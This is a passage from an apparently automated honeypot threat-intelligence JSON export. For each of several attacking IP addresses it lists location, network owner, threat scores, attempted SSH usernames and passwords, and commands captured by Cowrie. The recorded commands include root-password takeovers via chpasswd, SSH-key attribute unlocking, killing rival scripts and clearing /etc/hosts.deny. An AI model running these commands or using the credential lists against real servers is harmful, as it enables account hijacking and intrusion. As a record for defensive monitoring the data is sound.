      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 125
      }
    },
    "43.160.206.186": {
      "attack_count": 236,
      "first_seen": "2026-05-13T10:14:19.997Z",
      "last_seen": "2026-05-13T10:57:40.334Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11121964",
        "1qaz2wsx#",
        "2029",
        "454545",
        "Qg123456",
        "devuser123",
        "firebird",
        "gorge",
        "isik",
        "level42",
        "mercury1",
        "poney",
        "porquinho",
        "qian",
        "qqq",
        "qwe123!@#",
        "rootrootroot",
        "saitoh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IJja5WVQWh5L\"|chpasswd|bash",
        "echo \"root:ImlbMReo0SEW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:14:19.997000+00:00",
        "last_seen_30d": "2026-05-13T10:58:47.471000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 56
      }
    },
    "197.227.8.186": {
      "attack_count": 219,
      "first_seen": "2026-05-09T18:03:58.905Z",
      "last_seen": "2026-05-09T18:42:23.146Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "deploy",
        "ftpuser",
        "git",
        "user2",
        "345gs5662d34",
        "admin",
        "awsftpuser",
        "cftest",
        "dnsadmin",
        "mysql",
        "postgres",
        "ubuntu1",
        "userftp"
      ],
      "passwords_attempted": [
        "0000",
        "1234567",
        "123456Kk",
        "1993",
        "1qa@WS3ed$RF",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "987654321",
        "admin12",
        "asdf1234",
        "asdfghjkl;",
        "awsftpuser",
        "cftest",
        "dev12",
        "dnsadmin",
        "ftptest",
        "mysql!@#",
        "postgres2019",
        "q1w2e3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"asdf1234\\nzf5Yo4PPp7LE\\nzf5Yo4PPp7LE\\n\"|passwd",
        "echo -e \"asdf1234\\nzf5Yo4PPp7LE\\nzf5Yo4PPp7LE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": "Ebene CyberCity",
      "asn": 23889,
      "as_org": "MauritiusTelecom",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:03:58.905000+00:00",
        "last_seen_30d": "2026-05-09T18:43:29.086000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "61.72.55.130": {
      "attack_count": 219,
      "first_seen": "2026-05-07T10:01:13.158Z",
      "last_seen": "2026-05-07T10:34:50.079Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "testuser",
        "user1",
        "345gs5662d34",
        "centos",
        "csgo",
        "deployer",
        "dev",
        "ftpuser",
        "git",
        "hadoop",
        "luser",
        "minecraft",
        "nagios",
        "server1",
        "sftpuser",
        "steam1",
        "test"
      ],
      "passwords_attempted": [
        "123456789",
        "0123456789",
        "123321",
        "12345",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "7777777",
        "Aa123456",
        "PASSWD",
        "abc123",
        "apache",
        "asdf",
        "csgoserver",
        "deployer!",
        "developer",
        "luser",
        "p@ssword",
        "password123",
        "password12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"7777777\\nrX6dzPOIbRWZ\\nrX6dzPOIbRWZ\\n\"|passwd",
        "echo -e \"7777777\\nrX6dzPOIbRWZ\\nrX6dzPOIbRWZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namyangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:01:13.158000+00:00",
        "last_seen_30d": "2026-05-07T10:36:00.130000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "190.119.198.81": {
      "attack_count": 218,
      "first_seen": "2026-05-11T06:44:52.917Z",
      "last_seen": "2026-05-11T07:48:54.296Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alex",
        "ali",
        "centos",
        "ftp",
        "ftpuser",
        "sysadmin",
        "test1",
        "user",
        "user01",
        "user5",
        "username"
      ],
      "passwords_attempted": [
        "12345",
        "111111",
        "123",
        "1234567",
        "123456789QQ",
        "1234qwer!",
        "123abC",
        "123test123",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456..",
        "Admin@101",
        "Master2024",
        "Pl123456.",
        "Qwer123!@#",
        "Root123!",
        "Sh@123456789",
        "Zd123456",
        "a"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:11xkBW4Mvryd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:44:52.917000+00:00",
        "last_seen_30d": "2026-05-11T07:50:00.015000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "103.154.62.14": {
      "attack_count": 217,
      "first_seen": "2026-05-26T18:17:21.339Z",
      "last_seen": "2026-05-26T18:49:39.951Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ark",
        "bayu",
        "botuser",
        "cloud",
        "curl",
        "lfs",
        "minecraft",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544AA@@",
        "123456a@",
        "1234qwer@",
        "Server@123",
        "Wangsu@2017",
        "ark",
        "asdf",
        "bayu",
        "botuser",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "lfs",
        "minecraft123",
        "root",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ark\\nCsaQBT3lB3S3\\nCsaQBT3lB3S3\\n\"|passwd",
        "echo \"root:XzpGmTveDskS\"|chpasswd|bash",
        "echo -e \"ark\\nCsaQBT3lB3S3\\nCsaQBT3lB3S3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T18:17:21.339000+00:00",
        "last_seen_30d": "2026-05-26T18:50:44.182000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 46
      }
    },
    "74.127.135.44": {
      "attack_count": 213,
      "first_seen": "2026-05-23T02:05:17.165Z",
      "last_seen": "2026-05-23T02:51:48.501Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "demon",
        "pankaj",
        "devuser",
        "lyt",
        "satis",
        "steam",
        "su",
        "ts3",
        "user",
        "vnc"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123",
        "1234",
        "12345",
        "123654",
        "Aa123123.",
        "a",
        "demon",
        "lihao023..",
        "lyt",
        "qweasdzxc123.",
        "sa@123456",
        "test12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nvmE2w6LSkUfN\\nvmE2w6LSkUfN\\n\"|passwd",
        "echo \"demon\\nqXrkl8dvNCFx\\nqXrkl8dvNCFx\\n\"|passwd",
        "echo -e \"123456\\nvmE2w6LSkUfN\\nvmE2w6LSkUfN\"|passwd|bash",
        "echo -e \"demon\\nqXrkl8dvNCFx\\nqXrkl8dvNCFx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Perham",
      "asn": 16904,
      "as_org": "Arvig Enterprises Inc.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:05:17.165000+00:00",
        "last_seen_30d": "2026-05-23T02:52:56.526000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "113.221.79.18": {
      "attack_count": 198,
      "first_seen": "2026-05-22T10:09:08.105Z",
      "last_seen": "2026-05-22T20:25:07.069Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:09:08.105000+00:00",
        "last_seen_30d": "2026-05-22T20:26:09.452000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 101
      }
    },
    "201.249.205.94": {
      "attack_count": 174,
      "first_seen": "2026-05-21T18:00:48.272Z",
      "last_seen": "2026-05-21T19:18:03.576Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "yan",
        "345gs5662d34",
        "anh",
        "asdf1234",
        "boris",
        "circleci",
        "gunicorn",
        "jboss",
        "jenkins",
        "kang",
        "skopeo",
        "socks",
        "vasily",
        "wu"
      ],
      "passwords_attempted": [
        "123456",
        "001314",
        "153",
        "3245gs5662d34",
        "345gs5662d34",
        "ADMIN123",
        "P@ssw0rd",
        "admin",
        "anh",
        "asdf1234",
        "circleci",
        "gunicorn",
        "inside123",
        "kang",
        "nba2k24",
        "skopeo",
        "socks",
        "test001",
        "vasily",
        "yan123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"yan123\\n9KXzMHd3OfpS\\n9KXzMHd3OfpS\\n\"|passwd",
        "echo -e \"yan123\\n9KXzMHd3OfpS\\n9KXzMHd3OfpS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:00:48.272000+00:00",
        "last_seen_30d": "2026-05-21T19:19:04.750000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 57
      }
    },
    "41.60.232.221": {
      "attack_count": 172,
      "first_seen": "2026-05-18T21:48:38.167Z",
      "last_seen": "2026-05-19T06:19:12.836Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:38.167000+00:00",
        "last_seen_30d": "2026-05-19T06:20:15.745000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 86
      }
    },
    "43.156.0.171": {
      "attack_count": 168,
      "first_seen": "2026-05-18T17:48:04.718Z",
      "last_seen": "2026-05-18T18:18:40.665Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "deploy",
        "mb",
        "nick",
        "rftest",
        "rootadmin",
        "steam",
        "test1",
        "teste",
        "user-backup",
        "user1"
      ],
      "passwords_attempted": [
        "!@#123",
        "1234",
        "1q2w3e4r5t",
        "1qaz#EDC",
        "1qq2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "Hello2024",
        "P@ssw0rd",
        "Qwer123123",
        "Sangfor@123",
        "abc123",
        "asd123456",
        "mb",
        "nas",
        "rftest",
        "roottoor",
        "steam12",
        "test@123",
        "teste"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NMSfYy5N46EJ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:48:04.718000+00:00",
        "last_seen_30d": "2026-05-18T18:19:44.564000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "202.79.29.108": {
      "attack_count": 154,
      "first_seen": "2026-05-24T18:54:54.696Z",
      "last_seen": "2026-05-24T20:04:26.422Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "a",
        "deploy",
        "deployuser",
        "fox",
        "ftb",
        "ftpuser",
        "httpd",
        "imran",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "1234.abcd",
        "123456",
        "123pls123A!",
        "696969",
        "Temp123",
        "aA112233",
        "abcd@123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "ftb",
        "ftpuser12345",
        "imran",
        "qweasdzxc",
        "qwer1234",
        "user12345",
        "zhbjETuyMffoL8F"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 24492,
      "as_org": "WiCAM Corporation Ltd.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:54:54.696000+00:00",
        "last_seen_30d": "2026-05-24T20:05:34.188000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 154,
        "Suricata": 62
      }
    },
    "223.27.18.80": {
      "attack_count": 143,
      "first_seen": "2026-05-23T17:49:27.769Z",
      "last_seen": "2026-05-23T19:15:43.890Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "consulta",
        "francisco",
        "lab",
        "odoo13",
        "panel",
        "postgres",
        "sammy",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "111",
        "123$",
        "123456789a",
        "12qwaszX",
        "2wsxXSW@",
        "3245gs5662d34",
        "345gs5662d34",
        "Dx@123456",
        "Lt123456..",
        "Password1",
        "Wy123456",
        "lab@2025",
        "odoo13",
        "panel",
        "password1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KRodeQd5YAGg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 55803,
      "as_org": "Hostopia Australia Web Pty Ltd",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:49:27.769000+00:00",
        "last_seen_30d": "2026-05-23T19:16:46.915000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 49
      }
    },
    "114.239.193.252": {
      "attack_count": 120,
      "first_seen": "2026-05-19T10:40:09.546Z",
      "last_seen": "2026-05-19T17:37:39.480Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:37:53.805000+00:00",
        "last_seen_30d": "2026-05-19T17:38:41.551000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 66
      }
    },
    "102.23.122.235": {
      "attack_count": 118,
      "first_seen": "2026-05-31T00:55:14.021Z",
      "last_seen": "2026-05-31T01:21:08.908Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jboss",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "111",
        "123@abc",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "Dd123456",
        "Qaz12345",
        "a123456789!",
        "jboss",
        "mudar123",
        "root123456!",
        "screencast"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
